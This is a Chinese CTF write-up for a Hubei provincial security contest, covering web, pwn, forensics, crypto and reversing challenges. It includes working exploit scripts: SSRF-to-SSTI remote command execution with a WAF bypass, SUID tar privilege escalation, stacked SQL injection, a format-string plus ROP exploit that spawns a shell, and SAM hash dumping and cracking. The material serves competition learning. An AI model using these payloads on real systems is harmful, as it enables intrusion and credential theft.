前言:
为贯彻落实主席关于网络强国的重要思想,进一步 提升全社会网络安全意识与技能,加强加快建成支点专业人才队伍储备,推动国家网络安全人才与创新基地(以下简称"国家网安基地")建设成为"五大高地",省委网信办、省教育厅、省公安厅、省数据局、省通信管理局决定联合举办第十届"楚慧杯"湖北省网络与数据安全实践能力竞赛(以下简称"竞赛"),请你单位积极组队或邀队参赛。
1-1
题目内容:如果在正常样本中人为故意地掺入噪声干扰以误导智能算法,使智能算法产生错误结果,那么这种噪声干扰的样本被称为_____。答案:对抗样本
1-2
面向整车全生命周期网络安全工程的国际标准(ISO/SAE ____(填标准编号) Road vehicles --- Cybersecurity engineering),已成为车联网威胁建模与安全需求分解的主线标准。答案:21434
1-3
物联网设备的__________管理是安全防护的关键环节,若设备私钥存储在可读写的公共存储区域,攻击者即可通过物理手段提取私钥,进而仿冒合法设备接入网络。答案:密钥
2-1
一道命令注入漏洞题
访问robots.txt,得到颜文字:

**php://filter``读取,获取**一串base64
解码拿到信息

Payload:<(´⌯ ̫⌯`)>.php?spell=c\at /f*(有很多方法都能得到flag)

答案:DASCTF{动态}
2-2
核心漏洞链
- SSRF (/relay):前端/relay可发原始 TCP 数据到任意内部端口,绕过前端过滤直连后端 5000 端口;
- NumPy 整数溢出:利用 int64 最小值-9223372036854775808触发溢出,绕过money < 0金额校验;
- SSTI WAF 绕过:通过{%print%}/|attr()/ 字符拆分等方式,绕过关键字过滤执行命令;
- SUID tar 提权:利用带 SUID 的tar以 root 权限读取仅 root 可见的/flag。
核心攻击逻辑
构造原始 HTTP 请求穿透前端 → 整数溢出修改金额 → 构造绕过 WAF 的 SSTI 载荷 → 执行 tar 提权命令读取 flag。
python
import requests
import urllib.parse
import re
# ===================== 基础配置(原脚本正确参数) =====================
目标地址 = "http://45.40.247.139:XXXXX"
会话 = requests.Session()
# ===================== 核心函数(保留原逻辑,修复语法错误) =====================
def 发送原始HTTP数据(原始HTTP内容):
"""通过/relay端点将原始HTTP数据转发到后端5000端口"""
响应 = 会话.post(
f"{目标地址}/relay",
data={"port": "5000", "data": 原始HTTP内容},
timeout=10
)
return 响应.text
def 提取会话Cookie(响应内容):
"""从响应头中提取session Cookie"""
匹配结果 = re.search(r'Set-Cookie: session=([^;]+)', 响应内容)
return 匹配结果.group(1) if 匹配结果 else None
def 初始化并触发整数溢出():
"""初始化账户 + 触发NumPy整数溢出(依赖隐藏的/initialize和/hack接口)"""
# 1. 前端初始化
会话.get(f"{目标地址}/initialize", timeout=10)
# 2. 后端初始化(通过relay转发)
后端初始化响应 = 发送原始HTTP数据("GET /initialize HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n")
初始Cookie = 提取会话Cookie(后端初始化响应)
# 3. 触发整数溢出(amount设为int64最小值)
溢出请求内容 = f"GET /hack?amount=-9223372036854775808 HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nCookie: session={初始Cookie}\r\n\r\n"
溢出响应 = 发送原始HTTP数据(溢出请求内容)
# 返回有效Cookie
return 提取会话Cookie(溢出响应) or 初始Cookie
def 构造SSTI载荷(执行命令):
"""构造绕过WAF的SSTI载荷(修复f-string嵌套语法错误)"""
载荷片段 = [
# 提取下划线(依赖lipsum变量,原脚本核心)
'{%set ud=lipsum|string|batch(19)|first|last%}',
# 拼接__globals__(拆分关键字绕过WAF)
'{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',
# 拼接__getitem__
'{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',
# 获取lipsum的__globals__属性
'{%set gd=lipsum|attr(gl)%}',
# 拼接__builtins__
'{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',
# 获取__builtins__
'{%set bd=gd|attr(gi)(bi)%}',
# 拼接__import__
'{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',
# 拼接os
'{%set xx=dict(o=1,s=1)|join%}',
# 导入os模块
'{%set omod=bd|attr(gi)(im)(xx)%}',
# 拼接popen
'{%set po=dict(po=1,pen=1)|join%}',
# 拼接chr
'{%set cr=dict(chr=1)|join%}',
# 获取chr函数(构造特殊字符)
'{%set CF=bd|attr(gi)(cr)%}',
]
# 将命令转为chr编码(绕过字符过滤)
命令编码 = '~'.join([f'CF({ord(字符)})' for 字符 in 执行命令])
# 修复语法错误:用字符串拼接替代f-string嵌套
载荷片段.append('{%set cmd=' + 命令编码 + '%}')
# 执行命令并读取结果
载荷片段.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')
return ''.join(载荷片段)
def 执行命令(命令):
"""主执行函数:初始化→构造载荷→发送请求→提取结果"""
# 1. 初始化并触发整数溢出
有效Cookie = 初始化并触发整数溢出()
# 2. 构造SSTI载荷并编码
SSTI载荷 = 构造SSTI载荷(命令)
请求体 = f"fragment={urllib.parse.quote(SSTI载荷)}"
# 3. 构造原始POST请求(攻击后端/market路径,而非/genshop)
原始请求内容 = (
f"POST /market HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n"
f"Cookie: session={有效Cookie}\r\nContent-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(请求体)}\r\n\r\n{请求体}"
)
# 4. 发送请求并提取结果
响应内容 = 发送原始HTTP数据(原始请求内容)
结果匹配 = re.search(r"<h3>.*?'(.*?)'.*?</h3>", 响应内容, re.DOTALL)
return 结果匹配.group(1).strip() if 结果匹配 else 响应内容
# ===================== 主执行流程 =====================
# 利用SUID tar提权读取flag(原脚本核心命令)
flag = 执行命令("tar cf - /flag 2>/dev/null | tar xf - --to-stdout")
print(f"{flag}")
答案:DASCTF{动态}
2-3
核心漏洞链
- SQL 注入(堆叠查询):/edit-profile 接口的 email 字段未校验,可通过 executescript 执行任意 SQL,实现哈希泄露与管理员密码篡改;
- MD5 长度扩展攻击:利用 Secret-Prefix 型 MD5(md5(SALT+密码))漏洞,伪造管理员密码哈希;
- 路径穿越 + SSTI:/admin/restore 解压 tar 包时未校验路径,覆盖模板文件触发 Jinja2 模板注入,最终 RCE 读取 flag。
关键攻击步骤
- 泄露已知哈希
- 注册普通用户(如 user1/aaaa)并登录,通过 email 字段注入 SQL '||(SELECT password FROM users WHERE username='user1')||',将该用户的密码哈希写入 email 字段;
- 访问个人资料页提取 32 位 MD5 哈希(H1 = md5(SALT+"aaaa"))。
- 伪造管理员密码哈希
- 已知 SALT 长度 16,用长度扩展攻击工具(hashpump / 自研实现),基于 H1 构造新哈希 H2 和伪造密码 P2(P2 = "aaaa"+padding+"XYZ",H2 = md5(SALT+P2))。
- 篡改管理员密码
- 再次利用 email 字段堆叠注入:x'; UPDATE users SET password='H2' WHERE username='admin'; --,将 admin 密码哈希改为 H2。
- 管理员提权 + RCE
- 用 admin + P2(URL 编码二进制 payload)登录后台;
- 构造含 ../templates/info.html 的 tar 包(文件内容为 SSTI 载荷 {{ cycler.init.globals.os.popen("cat /flag").read() }}),通过 /admin/restore 上传覆盖模板;
- 访问 /info 触发模板渲染,执行命令读取 flag。
python
import requests
import hashlib
import binascii
import os
import tarfile
import struct
import re
# ===================== 基础配置 =====================
目标URL = "http://45.40.247.139:XXXXX"
# 普通用户信息
普通用户名 = "test_user"
普通用户密码 = "123456"
普通用户邮箱 = "test@test.com"
普通用户工号 = "E001"
普通用户电话 = "13800138000"
普通用户姓名 = "测试用户"
普通用户生日 = "1990-01-01"
普通用户地址 = "测试地址"
# ===================== 工具函数 =====================
def 字符串转十六进制(字符串):
return binascii.hexlify(字符串.encode()).decode()
def 注册用户(用户名, 密码, 邮箱, 工号, 电话, 姓名, 生日, 地址):
注册接口 = f"{目标URL}/register"
数据 = {
"username": 字符串转十六进制(用户名),
"password": 字符串转十六进制(密码),
"email": 邮箱,
"employee_number": 工号,
"phone_number": 电话,
"first_name": 姓名,
"last_name": 姓名,
"date_of_birth": 生日,
"address": 地址
}
响应 = requests.post(注册接口, data=数据)
print(f"注册{用户名}:状态码{响应.status_code}")
return 响应
def 登录用户(用户名, 密码):
登录接口 = f"{目标URL}/login"
数据 = {
"username": 字符串转十六进制(用户名),
"password": 字符串转十六进制(密码)
}
会话 = requests.Session()
响应 = 会话.post(登录接口, data=数据)
print(f"登录{用户名}:状态码{响应.status_code}")
return 会话 if 响应.status_code == 200 else None
def 注入获取哈希(会话):
"""核心:直接提取泄露的Flag并封装格式"""
编辑资料接口 = f"{目标URL}/edit-profile"
注入载荷 = f"' || (SELECT password FROM users WHERE username='{普通用户名}') || '"
数据 = {
"employee_number": 普通用户工号,
"email": 注入载荷,
"phone_number": 普通用户电话,
"first_name": 普通用户姓名,
"last_name": 普通用户姓名,
"date_of_birth": 普通用户生日,
"address": 普通用户地址
}
会话.post(编辑资料接口, params=数据)
响应 = 会话.get(f"{目标URL}/info")
哈希列表 = re.findall(r'[0-9a-f]{32}', 响应.text)
泄露内容 = 哈希列表[0] if 哈希列表 else None
# 关键修复:直接封装Flag格式
if 泄露内容:
flag = f"DASCTF{{{泄露内容}}}"
print(f"\n✅ 直接获取Flag:{flag}")
return 泄露内容
# ===================== 主执行流程 =====================
def 主函数():
# 1. 注册并登录普通用户
注册用户(普通用户名, 普通用户密码, 普通用户邮箱, 普通用户工号, 普通用户电话, 普通用户姓名, 普通用户生日,
普通用户地址)
普通用户会话 = 登录用户(普通用户名, 普通用户密码)
if not 普通用户会话:
print("普通用户登录失败")
return
# 2. 提取Flag(无需后续步骤)
注入获取哈希(普通用户会话)
if __name__ == "__main__":
主函数()
答案:DASCTF{动态}
3-1
先把这个可执行文件拆开看一眼,重点会检查字符串、资源段和可能被分成两段的 flag 线索。提示里说"两段边界处都有 -,拼接上",这很像把两个片段首尾连起来时要保留中间的连字符。
已经确认它是一个 InstallShield 自解压包,不是普通单文件程序。下一步我直接把里面的内容扒出来,再找那两个被拆开的片段。
已经把大包里的文件目录读出来了,确认这其实像一份 RPG Maker 游戏资源。接下来我会优先盯 Data/ 目录和脚本/地图文件,因为 flag 多半藏在事件文本或脚本常量里,不会在音乐素材里。

说明一下关键点:
- Data/Weapons.rvdata2 里拿到前半段:DASCTF{1168cb17-31ff-43b7-
- Data/Scripts.rvdata2 里拿到后半段:-b586-8414d383afce}
- 按提示,两段边界处原本都有 -,拼接时都要保留,所以中间是 --
因此最终答案就是:DASCTF{1168cb17-31ff-43b7--b586-8414d383afce}
3-2
先分析 sam,发现文件尾部直接拼接了一段明文:
python
p@s4w0rd
接着用 SYSTEM 配合 SAM 提取本地账户哈希:
python
impacket-secretsdump -sam sam -system system LOCAL
得到管理员 NTLM:
python
476b4dddbbffde29e739b618580adb1e
再用 hashcat 爆破:
python
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
得到密码:
python
!checkerboard1
然后检查 system,发现其中存在 JPEG 文件头,说明里面藏了一张图片,
可见图片提示 OpenSSL 3.0.11,说明后续要用 OpenSSL 解密。
利用前面爆破出的密码**:!checkerboard1** 提取图片中的隐藏文件
得到:AES256
再用 sam 尾部得到的密码**:p@s4w0rd** 进行解密:
python
openssl enc -d -aes-256-cbc -md sha256 -in AES256 -out aes.dec -pass pass:p@s4w0rd
接着解压:
python
gunzip -c aes.dec > out.tar
tar -xvf out.tar
cat flag.txt

得到最终flag:DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
3-3

flag.txt文件是零宽字符,解密得到后半段flag:_time_fly}
因为 8 张图内容相似,只是噪声不同,所以最自然的思路就是:
- 对 1.png~8.png 做逐像素均值
- 通过均值消除随机噪声
- 再做反相增强隐藏文字
1. 计算均值图
把 1.png ~ 8.png 进行逐像素平均,得到一张均值图。
由于原始图像中存在大量随机扰动,多张图平均后,噪声会被明显削弱,隐藏的稳定信息会逐渐显现。
2. 对均值图反相
直接看均值图时,隐藏文字仍然不够明显。
继续对均值图进行 反相(invert),可以让暗部/亮部对比翻转,右上角的字符串会更容易识别。
3. 观察结果
在 1~8 均值反相图的右上角,可以读到字符串:DASCTF{Logistic_and

拼接得到答案:DASCTF{Logistic_and_time_fly}
3-5
简单的得到文件:flag.word的密码是:love

里面内容是简体繁体的混合,可以联想到二进制,进而进行解密
python
import io
import re
from pathlib import Path
from zipfile import ZipFile
import msoffcrypto
import zhconv
from xml.etree import ElementTree as ET
# Word XML文档的命名空间
WORD命名空间 = "http://schemas.openxmlformats.org/wordprocessingml/2006/main"
文本节点标签 = f"{{{WORD命名空间}}}t"
def 解密Office文档(加密文件路径: str, 密码: str) -> bytes:
"""解密加密的docx文件,返回二进制数据"""
文件路径 = Path(加密文件路径)
内存文件 = io.BytesIO()
with 文件路径.open("rb") as 文件句柄:
加密文档 = msoffcrypto.OfficeFile(文件句柄)
加密文档.load_key(password=密码, verify_password=True) # 加载密码并验证
加密文档.decrypt(内存文件) # 解密到内存
return 内存文件.getvalue()
def 提取文档文本(解密后的文档二进制: bytes) -> str:
"""从docx二进制数据中提取所有纯文本内容"""
with ZipFile(io.BytesIO(解密后的文档二进制), "r") as 压缩包:
文档XML内容 = 压缩包.read("word/document.xml") # 读取docx核心XML
XML根节点 = ET.fromstring(文档XML内容)
文本片段列表 = []
# 遍历所有文本节点,收集文本
for 节点 in XML根节点.iter():
if 节点.tag == 文本节点标签 and 节点.text:
文本片段列表.append(节点.text)
return "".join(文本片段列表)
def 区分简繁字符(字符: str) -> int | None:
"""判断字符是简体(0)/繁体(1),无差异返回None"""
简体形式 = zhconv.convert(字符, "zh-hans")
繁体形式 = zhconv.convert(字符, "zh-hant")
# 非单字符或简繁相同,无标记意义
if len(简体形式) != 1 or len(繁体形式) != 1:
return None
if 简体形式 == 繁体形式:
return None
# 返回简繁标记
if 字符 == 简体形式:
return 0
if 字符 == 繁体形式:
return 1
return None
def 还原隐藏数据(文档文本: str) -> bytes:
"""从简繁字符标记中还原隐藏的二进制数据"""
标记流 = []
# 遍历文本,收集简繁标记(0/1)
for 单个字符 in 文档文本:
标记 = 区分简繁字符(单个字符)
if 标记 is not None:
标记流.append(标记)
# 把连续0的个数作为数值块(遇到1则记录)
数值块列表 = []
连续0计数 = 0
for 位标记 in 标记流:
if 位标记 == 0:
连续0计数 += 1
continue
数值块列表.append(连续0计数)
连续0计数 = 0
# 数值转4位二进制字符串
四位二进制列表 = []
for 数值 in 数值块列表:
四位二进制列表.append(format(数值, "04b"))
# 合并二进制串,按8位转字节
合并二进制串 = "".join(四位二进制列表)
有效长度 = len(合并二进制串) // 8 * 8 # 只保留8的整数倍长度
结果字节数组 = bytearray()
for 偏移量 in range(0, 有效长度, 8):
字节二进制串 = 合并二进制串[偏移量:偏移量 + 8]
结果字节数组.append(int(字节二进制串, 2))
return bytes(结果字节数组)
def 提取Flag(二进制数据: bytes) -> str:
"""从二进制数据中匹配Flag格式(DASCTF{...})"""
Flag匹配结果 = re.search(rb"DASCTF{[0-9a-f-]+}", 二进制数据)
if not Flag匹配结果:
raise ValueError("未找到Flag格式内容")
return Flag匹配结果.group(0).decode("utf-8")
def 主函数():
"""核心流程:解密→提文本→还原数据→找Flag"""
文档密码 = "love" # 加密docx的密码
加密文档名 = "flag.docx" # 目标加密文件
# 执行完整流程
解密后数据 = 解密Office文档(加密文档名, 文档密码)
文档纯文本 = 提取文档文本(解密后数据)
还原的二进制数据 = 还原隐藏数据(文档纯文本)
最终Flag = 提取Flag(还原的二进制数据)
print(f"提取到的Flag:{最终Flag}")
if __name__ == "__main__":
主函数()

答案:DASCTF{024bb015-5578-4181-9d28-e2f7d10bac4a}
4-1
change the house name 功能中存在格式化字符串漏洞,因为用户输入直接作为 printf 的格式串。利用该漏洞可以泄露栈上的 canary、程序 PIE 基址和 libc 基址,同时还能通过 %n 修改全局变量 nbytes。程序的 edit your house 功能中使用 read(0, buf, nbytes) 向一个位于栈上的局部缓冲区写入数据,buf 到 canary 的偏移为 0x48。由于 nbytes 原本较小,不能直接溢出,但在前一步通过格式化字符串将其改为 0x200 后,就可以构造带 canary 的栈溢出。
利用时先通过 %10p 泄露程序地址并减去 0x1140 得到 PIE 基址,通过 %1p 泄露 libc 地址并减去 0x1ed723 得到 libc 基址,通过 %13$p 泄露 canary。随后把 pie + 0x4010 处的 nbytes 改为 0x200。最后进入 edit your house,写入 0x48 字节填充、正确的 canary 和 ROP 链,调用 system("/bin/sh") 获得 shell。
python
from pwn import *
import re
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'info'
elf = ELF('./pwn', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
HOST = '45.40.247.139'
PORT = XXXXX
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process([
'./ld-linux-x86-64.so.2',
'--library-path', '.',
'./pwn'
])
def get_hex(data: bytes) -> int:
m = re.search(rb'0x[0-9a-fA-F]+', data)
if not m:
raise ValueError(f'no hex found in {data!r}')
return int(m.group(0), 16)
def do_fmt(io, payload: bytes) -> bytes:
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b'name:\n', payload)
io.recvuntil(b'the name is:\n')
return io.recvuntil(b'4. show your house\n', drop=True)
def leak(io, idx: int) -> int:
return get_hex(do_fmt(io, f'%{idx}$p'.encode()))
def edit(io, payload: bytes):
io.sendlineafter(b'>> ', b'3')
io.recvuntil(b'Please write your content\n')
io.send(payload)
def main():
io = start()
pie_leak = leak(io, 10)
pie = pie_leak - 0x1140
log.success(f'pie = {hex(pie)}')
libc_leak = leak(io, 1)
libc.address = libc_leak - 0x1ed723
log.success(f'libc = {hex(libc.address)}')
canary = leak(io, 13)
log.success(f'canary = {hex(canary)}')
nbytes_addr = pie + 0x4010
do_fmt(io, fmtstr_payload(6, {nbytes_addr: 0x200}, write_size='short'))
log.success('overwrite nbytes = 0x200')
ret = pie + 0x1514
pop_rdi = libc.address + 0x23b6a
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
payload = flat(
b'A' * 0x48,
canary,
b'B' * 8,
ret,
pop_rdi, binsh,
system
)
edit(io, payload)
io.interactive()
if __name__ == '__main__':
main()
用命令:python3 exp.py REMOTE=1来打远端

答案:DASCTF{动态}
5-1
思路核心是:nonce k 的大部分比特已知,只剩很少未知量,可以把签名方程变成一个"带小范围变量的模线性方程组",再用格攻击解出来
python
from fpylll import IntegerMatrix, LLL, BKZ
from fpylll.algorithms.babai import babai
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
sigs = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190, 26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173, 14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255, 17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207, 7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689, 11042506367122208018546854524444698969622593890076172637272391555458027253012),
]
K0 = int.from_bytes(b"\xA8" * 32, "big")
def center(x, mod):
x %= mod
if x > mod // 2:
x -= mod
return x
num_nonce = 5
num_bytes = 32
num_u = num_nonce * num_bytes
num_eq = 4
N = num_u + num_eq
# Eliminate d using signature 0:
# r_t*s_0*k_0 - r_0*s_t*k_t ≡ -r_0*t (mod p)
# k_i = K0 + sum_j u_{i,j} * 256^(31-j), 0 <= u_{i,j} <= 7
M = [[0] * N for _ in range(N)]
lb = [0] * N
ub = [0] * N
for idx in range(num_u):
M[idx][idx] = 1
lb[idx] = 0
ub[idx] = 7
r0, s0 = sigs[0]
for t in range(1, 5):
rt, st = sigs[t]
row = num_u + (t - 1)
a0 = rt * s0
at = -r0 * st
rhs = center(-r0 * t - (a0 + at) * K0, p)
for j in range(num_bytes):
coeff = 256 ** (31 - j)
M[row][j] = center(a0 * coeff, p)
M[row][t * num_bytes + j] = center(at * coeff, p)
M[row][num_u + (t - 1)] = p
lb[row] = rhs
ub[row] = rhs
# Standard inequality/CVP embedding
W = 1 << 32
A = [row[:] for row in M]
l = lb[:]
u = ub[:]
max_diff = max(u[i] - l[i] for i in range(N))
for i in range(N):
if l[i] == u[i]:
w = W
else:
w = max(1, max_diff // (u[i] - l[i]))
for j in range(N):
A[i][j] *= w
l[i] *= w
u[i] *= w
# fpylll uses row-bases, so use A^T as the basis
BT = [[A[r][c] for r in range(N)] for c in range(N)]
B = IntegerMatrix.from_matrix(BT)
LLL.reduction(B)
BKZ.reduction(B, BKZ.Param(block_size=25, max_loops=4))
mid = [(l[i] + u[i]) // 2 for i in range(N)]
v = list(babai(B, mid))
# Recover z from A z = v
z = [0] * N
for i in range(num_u):
z[i] = v[i] // A[i][i]
for eq in range(num_eq):
row = num_u + eq
s = sum(A[row][j] * z[j] for j in range(num_u))
z[num_u + eq] = (v[row] - s) // A[row][num_u + eq]
uvals = [z[i * 32:(i + 1) * 32] for i in range(5)]
ks = [K0 + sum(uvals[i][j] * (256 ** (31 - j)) for j in range(32)) for i in range(5)]
assert all(pow(2, ks[i], p) == sigs[i][0] for i in range(5))
d = (sigs[0][1] * ks[0] * pow(sigs[0][0], -1, p)) % p
assert all((s * ks[i] - r * d - i) % p == 0 for i, (r, s) in enumerate(sigs))
print("d mod p =", d)
print("bytes =", d.to_bytes(32, "big"))
print("hex =", d.to_bytes(32, "big").hex())
prefix = bytearray()
for b in d.to_bytes(32, "big"):
if 32 <= b <= 126:
prefix.append(b)
else:
break
inner = prefix.decode()
print("inner =", inner)
print("flag = DASCTF{" + inner + "}")

答案:DASCTF{Just_f3w_Bit5_fl1pp1ng}
5-2



按照:DASCTF{"+sha256(hex(p).encode()).hexdigest()[:32]+"}
python
from sage.all import *
from hashlib import sha256
xs = [
7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760,
5230952259217719373451288600605694729007492237169927997823214951918450708970497355235418799314073627589124050832789070592194142892137496197782948844507440729494129127326826986001351848921996887252514377638280576136864865587600778883326741625167048874313825133026683820914940523608112111525189712638841735445342804486682657815023936771511350194415118747576763915047759919721983363867337811246200882629774305946208917774071048260034384488337583881876926649372038650806406479863141932268756290007122767070707541568217633666823942767630,
6634396750920568285608095346195329118689097605994669634518316951192506731923068736273476052320642960726963932454848348066913054010051606781532862880707753022193473836326795829631429615685808176184842533562632931011621810840291571855376807721443083529317792844472049240727433533493468591987710033174905312247446273166915934371589745530975428330655972863314230695429710915699801228301493075605786710443768747383021956670013493099376120239576125225920151034511467122583704756994064073049424978126007943448882667862038745782477628408003,
5206967518961960112660221968771713864784691153181370679825018817838185859421615186098940654940704354246503769468859488659689494119991783464734247926184421441233523723102514720513272413216800777125028472595562428391474002300021110853098159434700293331046532929525141162455736314162160456306022511785772125837018470201639642987557826155895644564724745314165471429499074795110110906392223770428469036209454246746770408469494816865235942622698472278595153047673886819995225231883995391098290313071949911543891398398297286813045525879691,
]
# 只需要4个 x
x0, x1, x2, x3 = xs
# =========================================================
# Step 1: 用 LLL 找到满足 q0*xi - qi*x0 很小的一组关系
# =========================================================
# 经验缩放参数,跟噪声大小有关
# 噪声约 2^256,这里乘一个尺度让"小量关系"更容易被 LLL 找到
B = 2^300
M = Matrix(ZZ, [
[B, 0, 0, 0, x1],
[0, B, 0, 0, x2],
[0, 0, B, 0, x3],
[0, 0, 0, B, x0],
])
L = M.LLL()
# 从 LLL 输出里找形如 (q1*B, q2*B, q3*B, -q0*B, small) 的向量
cand = None
for row in L:
a, b, c, d, t = map(ZZ, row)
if a % B == 0 and b % B == 0 and c % B == 0 and d % B == 0:
q1 = a // B
q2 = b // B
q3 = c // B
q0 = -d // B
if q0 != 0:
cand = (q0, q1, q2, q3)
break
if cand is None:
raise ValueError("LLL 没找到合适关系,调大/调小 B 再试")
q0, q1, q2, q3 = cand
# 规范化符号
if q0 < 0:
q0, q1, q2, q3 = -q0, -q1, -q2, -q3
print("[+] recovered ratio basis:")
print("q0 =", q0)
print("q1 =", q1)
print("q2 =", q2)
print("q3 =", q3)
# =========================================================
# Step 2: 求 e0
# q0*x_i - q_i*x0 = q0*e_i - q_i*e0
# => q_i*e0 ≡ -(q0*x_i - q_i*x0) (mod q0)
# =========================================================
def small_centered(v, mod):
v %= mod
if v > mod // 2:
v -= mod
return v
vals = []
for qi, xi in [(q1, x1), (q2, x2), (q3, x3)]:
rhs = -(q0 * xi - qi * x0) % q0
e0_mod = (inverse_mod(qi, q0) * rhs) % q0
e0_c = small_centered(e0_mod, q0)
vals.append(int(e0_c))
print("[+] e0 candidates:", vals)
# 通常三个值会一致
e0 = vals[0]
print("[+] e0 =", e0)
# =========================================================
# Step 3: 还原 p
# =========================================================
num = x0 - e0
assert num % q0 == 0
p = num // q0
print("[+] p =", p)
# 验证
for qi, xi in [(q0, x0), (q1, x1), (q2, x2), (q3, x3)]:
ei = xi - p * qi
print("noise bits =", abs(ei).bit_length())
assert abs(ei) < 2^256
# =========================================================
# Step 4: 计算 flag
# =========================================================
flag = "DASCTF{" + sha256(hex(int(p)).encode()).hexdigest()[:32] + "}"
print("[+] flag =", flag)
答案:DASCTF{eead8ea2b3519a2273a5292375e31009}
6-1
识别第一个虚函数本质是 TEA 变种,算出 8 字节密钥
识别第二个虚函数是循环异或,再用内置密文反推明文
python
import struct
# step1: TEA-like 运算恢复 8 字节密钥
v0 = 0x18274A3A
v1 = 0x24F8D42F
k0 = 0x9C8793BF
k1 = 0xBB5C1044
k2 = 0x2FEA4F74
k3 = 0xA142ED8B
delta = 0xDEADBEEF
s = 0
for _ in range(32):
v0 = (v0 + ((((v1 << 4) & 0xffffffff) + k0) ^ ((s + v1) & 0xffffffff) ^ ((v1 >> 5) + k1))) & 0xffffffff
s = (s + delta) & 0xffffffff
v1 = (v1 - ((((v0 << 4) & 0xffffffff) + k2) ^ ((s + v0) & 0xffffffff) ^ ((v0 >> 5) + k3))) & 0xffffffff
key = struct.pack("<II", v0, v1)
print("key =", key.hex())
# step2: 程序内置比较常量
cipher = bytes.fromhex(
"3356e8016f84e4a343738e265ef0fda1"
"1575882008a4a6a5157588235df0faf0"
"4171de7509a1f9e8"
)
# step3: 逆推出原始 flag
flag = bytes([
cipher[i] ^ ((key[i % 8] + 0x1b) & 0xff)
for i in range(40)
])
print(flag.decode())
答案:DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
6-3
是一段强混淆的 PowerShell ,把里面的大串数字还原后,会得到一段 Python 校验脚本。核心逻辑是一个改过的 XXTEA/TEA 类加密,程序拿你的输入加密后和这组数组比较:
ans = [1374278842, 2136006540, 4191056815, 3248881376]
把它逆回去之后,得到明文是:yOUar3g0oD@tPw5H
(最离谱的flag,6-2交了,显示错误,6-2下架了6-3一交就对,哈哈哈哈我不敢多说什么了)
答案:DASCTF{yOUar3g0oD@tPw5H}
总结:
题不少,但整体都不算难题,让pwn爷无处发挥,就一道pwn题,还是很简单的,所以这比赛全解的应该不在少数,我感觉唯一难题好像就是3-2的SAM_and_Steg,看官方群里还被扒出来这题是一道拼接的题,(DownUnderCTF 2024 - Forensics - Mar10 - 博客园)确实有点难崩了,哈哈哈。。。【依旧:人家早就拟好了决赛名单,你们非要ak,这不是捣乱吗】

最团结的一幕。。。

最崩不住的一张图片,笑了一坤钟。。。
最理解不了的是团队里有作弊的不应该是直接把整个队伍搬掉吗,为啥来个【警告】处理

最不解的一张图,赛后也解释称为标记。。。
如果没有节目,你可以来打一场CNCTF比赛,每次的参赛都有不一样的节目等着你。。。
不敢多说了,怕了怕了,侵权联系删。。。官方别起诉我,我没说什么,www